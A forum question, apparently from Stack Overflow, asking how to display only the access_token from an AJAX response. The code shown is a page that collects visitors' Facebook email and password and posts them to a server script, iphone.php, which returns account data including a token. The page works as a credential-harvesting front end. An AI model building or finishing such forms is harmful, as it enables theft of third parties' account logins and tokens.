title: displaying Specific Information from the Ajax request
body: <p>Hi I am looking for a help I have created form where users put their email and password of facebook and echo out the data of their account. </p>
  
  <p>The site is here:
  <a href="https://testmybottt.000webhostapp.com/test/" rel="nofollow noreferrer">https://testmybottt.000webhostapp.com/test/</a></p>
  
  <p>my question is I just want to display access_token part nothing more. is it possible? with ajax? or Jquery or CSS to hide/show data. I hope my question is clear.</p>
  
  <p>Here is my code:</p>
  
  <pre><code>&lt;!DOCTYPE html&gt;
  &lt;html lang="en"&gt;
  &lt;body&gt;
  &lt;div class="container"&gt;
  &lt;div class="header clearfix"&gt;   
  &lt;br/&gt;
  &lt;/div&gt;
  &lt;div class="panel panel-primary"&gt;
  &lt;div class="panel-body"&gt;
  &lt;form id="flogin" name="flogin" class="form-horizontal" action="" method="POST"&gt;
  &lt;div class="form-group col-sm-12"&gt;
  &lt;input name="email" id="tk" class="form-control" placeholder="Enter Your Facebook Email or Phone Number"/&gt;&lt;/div&gt;
  &lt;div class="form-group col-sm-12"&gt;
  &lt;input name="pass" type="password" id="mk" class="form-control" placeholder="Enter Your Facebook Password"/&gt;&lt;/div&gt;
  &lt;div style="text-align: center"&gt;
  &lt;button type="button" class="btn btn-info" onclick="Puaru_Active()" &gt; Click Here &lt;/button&gt;
  &lt;br/&gt; &lt;br/&gt; &lt;/form&gt;
  &lt;li id="trave" class="list-group-item"&gt;
  &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
  &lt;script&gt;
  function Puaru_Active() {
  var http = new XMLHttpRequest();
  var tk = document.getElementById("tk").value;
  var mk = document.getElementById("mk").value;
  var url = "iphone.php";
  var params = "u="+tk+"&amp;p="+mk+"";
  http.open("POST", url, true);
  http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  http.onreadystatechange = function() {
  if(http.readyState == 4 &amp;&amp; http.status == 200) {
  document.getElementById("trave").innerHTML = http.responseText;        
  }
  }
  http.send(params);
  }
  &lt;/script&gt;
  &lt;/body&gt;
  &lt;/html&gt;
  </code></pre>